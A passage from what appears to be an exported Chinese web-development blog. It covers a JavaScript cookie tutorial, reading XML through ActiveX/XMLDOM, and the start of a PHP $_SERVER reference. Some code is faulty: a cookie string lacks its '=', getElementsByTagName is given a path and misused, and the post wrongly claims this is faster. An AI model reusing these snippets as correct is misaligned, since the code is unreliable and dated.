是个很不错的方案。（这不是说大家的名字不重要。）比如，目前网站上不断增长的自定义服务，可以为每个用户定制他们要看的内容。如果你设计的就是这样一个 站点，那么你怎么来管理这样的信息：一个用户喜欢绿色的菜单条，而另一个喜欢红色的。确实是个累人的问题。不过，这样的信息，可以很安全地记录到 cookie，并保存在用户的计算机上，而你自己的数据库空间可以留给更长久更有意义的数据。\nFYI: Cookies 对于安全用途，通常很有用。我不想在此就这一问题过于深入，只是提供一个示例，可以看到如何使用在一段时间之后过期的cookies来保证站点安全：\n1. 使用用户名和口令，通过 SSL 登录。\n2. 在服务器的数据库里检查用户名和口令。如果登录成功，建立一个当前时间标签的消息摘要 (比如 MD5) ，并把它保存在cookie和服务器数据库里。把用户的登录时间保存在服务器数据库里面的用户记录里。\n3. 在进行每个安全事务时（用户处于登录状态的任何事务），把cookie的消息摘要和保存在服务器数据库里的摘要进行比较，如果比较失败，就把用户引导到登录界面。\n4. 如果第3步检查通过，那么检查当前时间和登录时间之音经过的时间是否超过允许的时间长度。如果用户已经超时，那么就把用户引到登录界面。\n5. 如果第3步和第4步都通过了，那么把登录时间重新设置成当前时间，允许事务发生。那些需要你登录的安全站点，可能多数使用的都是和这里介绍的类似的方法。\nCookie的构成\nCookies最初设计时，是为了CGI编程。但是，我们也可以使用Javascript脚本来操纵cookies。在本文里，我们将演示如何使用 Javascript脚本来操纵cookies。(如果有需求，我可能会在以后的文章里介绍如何使用Perl进行cookie管理。但是如果实在等不得， 那么我现在就教你一手：仔细看看CGI.pm。在这个CGI包里有一个cookie()函数，可以用它建立cookie。但是，还是让我们先来介绍 cookies的本质。\n在Javascript脚本里，一个cookie 实际就是一个字符串属性。当你读取cookie的值时，就得到一个字符串，里面当前WEB页使用的所有cookies的名称和值。每个cookie除了 name名称和value值这两个属性以外，还有四个属性。这些属性是： expires过期时间、 path路径、 domain域、以及 secure安全。\nExpires \u0026ndash; 过期时间。指定cookie的生命期。具体是值是过期日期。如果想让cookie的存在期限超过当前浏览器会话时间，就必须使用这个属性。当过了到期日期时，浏览器就可以删除cookie文件，没有任何影响。\nPath \u0026ndash; 路径。指定与cookie关联的WEB页。值可以是一个目录，或者是一个路径。如果http: //www.zdnet.com/devhead/index.html 建立了一个cookie，那么在http://www.zdnet.com/devhead/目录里的所有页面，以及该目录下面任何子目录里的页面都可以 访问这个cookie。这就是说，在http://www.zdnet.com/devhead/stories/articles 里的任何页面都可以访问http://www.zdnet.com/devhead/index.html建立的cookie。但是，如果http: //www.zdnet.com/zdnn/ 需要访问http://www.zdnet.com/devhead/index.html设置的cookes，该怎么办？这时，我们要把cookies 的path属性设置成\u0026ldquo;/\u0026rdquo;。在指定路径的时候，凡是来自同一服务器，URL里有相同路径的所有WEB页面都可以共享cookies。现在看另一个例子： 如果想让 http://www.zdnet.com/devhead/filters/ 和http://www.zdnet.com/devhead/stories/共享cookies，就要把path设成\u0026ldquo;/devhead\u0026rdquo;。\nDomain \u0026ndash; 域。指定关联的WEB服务器或域。值是域名，比如zdnet.com。这是对path路径属性的一个延伸。如果我们想让 catalog.mycompany.com 能够访问shoppingcart.mycompany.com设置的cookies，该怎么办? 我们可以把domain属性设置成\u0026ldquo;mycompany.com\u0026rdquo;，并把path属性设置成\u0026ldquo;/\u0026rdquo;。FYI：不能把cookies域属性设置成与设置它的 服务器的所在域不同的值。\nSecure \u0026ndash; 安全。指定cookie的值通过网络如何在用户和WEB服务器之间传递。这个属性的值或者是\u0026ldquo;secure\u0026rdquo;，或者为空。缺省情况下，该属性为空，也就是 使用不安全的HTTP连接传递数据。如果一个 cookie 标记为secure，那么，它与WEB服务器之间就通过HTTPS或者其它安全协议传递数据。不过，设置了secure属性不代表其他人不能看到你机器本 地保存的cookie。换句话说，把cookie设置为secure，只保证cookie与WEB服务器之间的数据传输过程加密，而保存在本地的 cookie文件并不加密。如果想让本地cookie也加密，得自己加密数据。\n操纵Cookies\n请记住，cookie就是文档的一个字符串属性。要保存cookie，只要建立一个字符串，格式是name=\u0026lt;value\u0026gt;（名称＝值），然 后把文档的 document.cookie 设置成与它相等即可。比如，假设想保存表单接收到的用户名，那么代码看起来就象这样：\ndocument.cookie = \u0026quot;username\u0026quot; + escape(form.username.value);\n在这里，使用 escape() 函数非常重要，因为cookie值里可能包含分号、逗号或者空格。这就是说，在读取cookie值时，必须使用对应的unescape()函数给值解码。\n我们当然还得介绍cookie的四个属性。这些属性用下面的格式加到字符串值后面：\nname=\u0026lt;value\u0026gt;[; expires=\u0026lt;date\u0026gt;][; domain=\u0026lt;domain\u0026gt;][; path=\u0026lt;path\u0026gt;][; secure]\n名称=\u0026lt;值\u0026gt;[; expires=\u0026lt;日期\u0026gt;][; domain=\u0026lt;域\u0026gt;][; path=\u0026lt;路径\u0026gt;][; 安全]\n\u0026lt;value\u0026gt;, \u0026lt;date\u0026gt;, \u0026lt;domain\u0026gt; 和 \u0026lt;path\u0026gt; 应当用对应的值替换。\u0026lt;date\u0026gt; 应当使用GMT格式，可以使用Javascript脚本语言的日期类Date的.toGMTString() 方法得到这一GMT格式的日期值。方括号代表这项是可选的。比如在 [; secure]两边的方括号代表要想把cookie设置成安全的，就需要把\u0026quot;; secure\u0026quot; 加到cookie字符串值的后面。如果\u0026quot;; secure\u0026quot; 没有加到cookie字符串后面，那么这个cookie就是不安全的。不要把尖括号\u0026lt;\u0026gt; 和方括号[] 加到cookie里（除非它们是某些值的内容）。设置属性时，不限属性，可以用任何顺序设置。\n下面是一个例子，在这个例子里，cookie \u0026quot;username\u0026quot; 被设置成在15分钟之后过期，可以被服务器上的所有目录访问，可以被\u0026quot;mydomain.com\u0026quot;域里的所有服务器访问，安全状态为安全。\n// Date() 的构造器设置以毫秒为单位\n// .getTime() 方法返回时间，单位为毫秒\n// 所以要设置15分钟到期，要用60000毫秒乘15分钟\nvar expiration = new Date((new Date()).getTime() + 15 * 60000);\ndocument.cookie = \u0026quot;username=\u0026quot; + escape(form.username.value)+ \u0026quot;; expires =\u0026quot;\n+ expiration.toGMTString() + \u0026quot;; path=\u0026quot; + \u0026quot;/\u0026quot; + \u0026quot;; _\ndomain=\u0026quot; + \u0026quot;mydomain.com\u0026quot; + \u0026quot;; secure\u0026quot;;\n读取cookies值有点象个小把戏，因为你一次就得到了属于当前文档的所有cookies。\n// 下面这个语句读取了属于当前文档的所有cookies\nvar allcookies = document.cookie;\n现在，我们得解析allcookies变量里的不同cookies，找到感兴趣的指定cookie。这个工作很简单，因为我们可以利用Javascript语言提供的扩展字符串支持。\n如果我们对前面分配的cookie \u0026quot;username\u0026quot; 感兴趣，可以用下面的脚本来读取它的值。\n// 我们定义一个函数，用来读取特定的cookie值。\nfunction getCookie(cookie_name)\n{\nvar allcookies = document.cookie;\nvar cookie_pos = allcookies.indexOf(cookie_name);\n// 如果找到了索引，就代表cookie存在，\n// 反之，就说明不存在。\nif (cookie_pos != -1)\n{\n// 把cookie_pos放在值的开始，只要给值加1即可。\ncookie_pos += cookie_name.length + 1;\nvar cookie_end = allcookies.indexOf(\u0026quot;;\u0026quot;, cookie_pos);\nif (cookie_end == -1)\n{\ncookie_end = allcookies.length;\n}\nvar value = unescape(allcookies.substring(cookie_pos, cookie_end));\n}\nreturn value;\n}\n// 调用函数\nvar cookie_val = getCookie(\u0026quot;username\u0026quot;);\n上面例程里的 cookie_val 变量可以用来生成动态内容，或者发送给服务器端CGI脚本进行处理。现在你知道了使用Javascript脚本操纵cookies的基本方法。但是，如果 你跟我一样，那么我们要做的第一件事，就是建立一些接口函数，把cookies处理上的麻烦隐藏起来。不过，在你开始编程之前，稍候片刻。这些工作，早就 有人替你做好了。你要做的，只是到哪去找这些接口函数而已。\n比如，在David Flangan的Javascript: The Definitive Guide 3rd Ed.这本书里，可以找到很好的cookie应用类。你也可以在Oreilly的WEB站点上找到这本书里的例子。本文最后的链接列表里，有一些访问这些 cookie示例的直接链接。\nCookies 怪兽\n因为某些原因Cookies 的名声很不好。许多人利用cookies做一些卑鄙的事情，比如流量分析、点击跟踪。Cookies 也不是非常安全，特别是没有secure属性的cookies。不过，即使你用了安全的cookies，如果你和别人共用计算机，比如在网吧，那么别人就 可以窥探计算机硬盘上未加密保存的cookie文件，也就有可能窃取你的敏感信息。所以，如果你是一个WEB开发人员，那么你要认真考虑这些问题。不要滥 用cookies。不要把用户可能认为是敏感的数据保存在cookies里。如果把用户的社会保险号、信用卡号等保存在cookie里，等于把这些敏感信 息放在窗户纸下，无异于把用户投到极大危险之中。一个好的原则是，如果你不想陌生人了解你的这些信息，那就不要把它们保存在cookies里。\n另外，cookies还有一些实际的限制。Cookies保留在计算机上，不跟着用户走。如果用户想换计算机，那么新计算机无法得到原来的cookie。 甚至用户在同一台计算机上使用不同浏览器，也得不到原来的cookie：Netscape 不能读取Internet Explorer 的cookies。\n还有，用户也不愿意接受cookies。所以不要以为所有的浏览器都能接受你发出的cookies。如果浏览器不接受cookies，你要保证自己的WEB站点不致因此而崩溃或中断。\n另外WEB 浏览器能保留的cookies不一定能超过300个。也没有标准规定浏览器什么时候、怎么样作废cookies。所以达到限制时，浏览器能够有效地随机删 除cookies。浏览器保留的来自一个WEB服务器上的cookies，不超过20个，每个cookie的数据（包括名称和值），不超过4K字节。(不 过，本文里的cookie尺寸没问题，它只占了12 K字节，保存在3个3 cookies里。)\n简而言之，注意保持cookie简单。不要依赖cookies的存在，不要在每个cookie里保存太多信息。不要保存太多的cookes。但是，抛除这些限制，在技巧高超的WEB管理员手里，cookie的概念是一个有用的工具。\n外部链接\n每个 Javascript 程序员都应当有一份Javascript： David Flanagan 的The Definitive Guide。 这本书里找到cookie 类例程可以帮助你把不止一个变量编码到单一的cookie，克服掉\u0026ldquo;每个WEB服务器20 个cookies的限制\u0026rdquo;。\n","permalink":"https://hessian.cn/p/639.html","summary":"Cookies，有些人喜欢它们，有些人憎恨它们。但是，很少有人真正知道如何使用它们。现在你可以成为少数人中的成员－可以自傲的Cookie 大师。\u0026#8211;\u0026gt;\n","title":"COOKIE详解"},{"content":"我的xml文件Login.xml如下.\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;utf-8\u0026quot; ?\u0026gt;\n\u0026lt;Login\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;Character\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;热血\u0026quot; Value=\u0026quot;0\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;弱气\u0026quot; Value=\u0026quot;1\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;激情\u0026quot; Value=\u0026quot;2\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;冷静\u0026quot; Value=\u0026quot;3\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;冷酷\u0026quot; Value=\u0026quot;4\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/Character\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;Weapon\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;W Text=\u0026quot;光束剑\u0026quot; Value=\u0026quot;0\u0026quot;\u0026gt;\u0026lt;/W\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;W Text=\u0026quot;光束配刀\u0026quot; Value=\u0026quot;1\u0026quot;\u0026gt;\u0026lt;/W\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/Weapon\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;EconomyProperty\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;平均型\u0026quot; Value=\u0026quot;0\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视攻击\u0026quot; Value=\u0026quot;1\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视敏捷\u0026quot; Value=\u0026quot;2\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视防御\u0026quot; Value=\u0026quot;3\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视命中\u0026quot; Value=\u0026quot;4\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/EconomyProperty\u0026gt;\n\u0026lt;/Login\u0026gt; 现在我需要对这个xml文件的内容进行操作.\n首先,我们需要加载这个xml文件,js中加载xml文件,是通过XMLDOM来进行的.\n// 加载xml文档\nloadXML\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= function(xmlFile)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;var xmlDoc;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;if(window.ActiveXObject)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; xmlDoc\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= new ActiveXObject(\u0026#8216;Microsoft.XMLDOM\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; xmlDoc.async\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; xmlDoc.load(xmlFile);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;else if (document.implementation\u0026amp;\u0026amp;document.implementation.createDocument)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; xmlDoc\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= document.implementation.createDocument(\u0026#8221;, \u0026#8221;, null);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; xmlDoc.load(xmlFile);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;else\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return null;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return xmlDoc;\n} xml文件对象出来了, 接下去我就要对这个文档进行操作了.\n比如说,我们现在需要得到节点Login/Weapon/W的第一个节点的属性,那么我们可以如下进行. // 首先对xml对象进行判断\ncheckXMLDocObj\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= function(xmlFile)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;var xmlDoc\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= loadXML(xmlFile);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;if(xmlDoc==null)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(\u0026#8216;您的浏览器不支持xml文件读取,于是本页面禁止您的操作,推荐使用IE5.0以上可以解决此问题!\u0026#8216;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; window.location.href=\u0026#8216;/Index.aspx\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return xmlDoc;\n}\n// 然后开始获取需要的Login/Weapon/W的第一个节点的属性值\nvar xmlDoc\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= checkXMLDocObj(\u0026#8216;/EBS/XML/Login.xml\u0026#8217;);\nvar v\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= xmlDoc.getElementsByTagName(\u0026#8216;Login/Weapon/W\u0026#8217;)[0].childNodes.getAttribute(\u0026#8216;Text\u0026#8217;) 而我在我的程序中的写法是这样子的,当然我在程序中的写法是已经应用到实际中的了.一并给出来,以供查看\ninitializeSelect\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= function(oid, xPath)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;var xmlDoc\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= checkXMLDocObj(\u0026#8216;/EBS/XML/Login.xml\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;var n;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;var l;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;var e\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= $(oid);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;if(e!=null)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= xmlDoc.getElementsByTagName(xPath)[0].childNodes;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; l\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= n.length;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;for(var i=0; i\u0026lt;l; i++)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;var option\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= document.createElement(\u0026#8216;option\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; option.value\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= n[i].getAttribute(\u0026#8216;Value\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; option.innerHTML\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;= n[i].getAttribute(\u0026#8216;Text\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; e.appendChild(option);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n} 上面的访问代码中,我们是通过xmlDoc.getElementsByTagName(xPath)来进行的.\n还可以通过xmlDoc.documentElement.childNodes(1)..childNodes(0).getAttribute(\u0026#8216;Text\u0026#8217;)进行访问.\n一些常用方法:\nxmlDoc.documentElement.childNodes(0).nodeName,可以得到这个节点的名称.\nxmlDoc.documentElement.childNodes(0).nodeValue,可以得到这个节点的值. 这个值是来自于这样子的xml格式:\u0026lt;a\u0026gt;b\u0026lt;/b\u0026gt;, 于是可以得到b这个值.\nxmlDoc.documentElement.childNodes(0).hasChild,可以判断是否有子节点\n根据我的经验,最好是使用getElementsByTagName(xPath)的方法对节点进行访问,因为这样子可以直接通过xPath来定位节点,这样子会有更好的性能.\n","permalink":"https://hessian.cn/p/458.html","summary":"我的xml文件Login.xml如下.\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;utf-8\u0026quot; ?\u0026gt;\n\u0026lt;Login\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;Character\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;热血\u0026quot; Value=\u0026quot;0\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;弱气\u0026quot; Value=\u0026quot;1\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;激情\u0026quot; Value=\u0026quot;2\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;冷静\u0026quot; Value=\u0026quot;3\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;C Text=\u0026quot;冷酷\u0026quot; Value=\u0026quot;4\u0026quot;\u0026gt;\u0026lt;/C\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/Character\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;Weapon\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;W Text=\u0026quot;光束剑\u0026quot; Value=\u0026quot;0\u0026quot;\u0026gt;\u0026lt;/W\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;W Text=\u0026quot;光束配刀\u0026quot; Value=\u0026quot;1\u0026quot;\u0026gt;\u0026lt;/W\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/Weapon\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;EconomyProperty\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;平均型\u0026quot; Value=\u0026quot;0\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视攻击\u0026quot; Value=\u0026quot;1\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视敏捷\u0026quot; Value=\u0026quot;2\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视防御\u0026quot; Value=\u0026quot;3\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;P Text=\u0026quot;重视命中\u0026quot; Value=\u0026quot;4\u0026quot;\u0026gt;\u0026lt;/P\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/EconomyProperty\u0026gt;\n\u0026lt;/Login\u0026gt; 现在我需要对这个xml文件的内容进行操作.\n首先,我们需要加载这个xml文件,js中加载xml文件,是通过XMLDOM来进行的.\n","title":"[转][MS]使用JS读取XML文件"},{"content":"服务器变量：$_SERVER 其实这些东西手册里都有的，，，，，，，，，，，但我还是没事找事的放上来。。。我找抽吗？也许\n注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_SERVER_VARS。 $_SERVER 是一个包含诸如头部(headers)、路径(paths)和脚本位置(script locations)的数组。数组的实体由 web 服务器创建。不能保证所有的服务器都能产生所有的信息；服务器可能忽略了一些信息，或者产生了一些未在下面列出的新的信息。这意味着，大量的这些变量在 CGI 1.1 specification 中说明，所以您应该仔细研究它。 这是一个\u0026ldquo;superglobal\u0026rdquo;，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中您不需要使用 global $_SERVER; 访问它，就如同使用 $HTTP_SERVER_VARS 一样。 $HTTP_SERVER_VARS 包含着同样的信息，但是不是一个自动全局变量。（注意： $HTTP_SERVER_VARS 和 $_SERVER 是不同的变量，PHP 处理它们的方式不同。） 如 果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_SERVER 和 $HTTP_SERVER_VARS 数组。相关信息，请参阅安全的相关章节 使用 Register Globals。这些单独的全局变量不是自动全局变量。 您或许会发现下面列出的某些 $_SERVER 元素并不可用。注意，如果以命令行方式运行 PHP，下面列出的元素几乎没有有效的（或是没有任何实际意义的）。 \u0026ldquo;PHP_SELF\u0026rdquo;\n当前正在执行脚本的文件名，与 document root相关。举例来说，在URL地址为 http://example.com/test.php/foo.bar 的脚本中使用 $_SERVER[\u0026#8216;PHP_SELF\u0026#8217;] 将会得到 /test.php/foo.bar 这个结果。 如果 PHP 以命令行方式运行，该变量无效。 \u0026ldquo;argv\u0026rdquo;\n传递给该脚本的参数。当脚本运行在命令行方式时，argv 变量传递给程序 C 语言样式的命令行参数。当调用 GET 方法时，该变量包含请求的数据。 \u0026ldquo;argc\u0026rdquo;\n包含传递给程序的命令行参数的个数（如果运行在命令行模式）。 \u0026ldquo;GATEWAY_INTERFACE\u0026rdquo;\n服务器使用的 CGI 规范的版本。例如，\u0026ldquo;CGI/1.1\u0026rdquo;。 \u0026#8216;SERVER_NAME\u0026#8217;\n当前运行脚本所在服务器主机的名称。如果该脚本运行在一个虚拟主机上，该名称是由那个虚拟主机所设置的值决定。 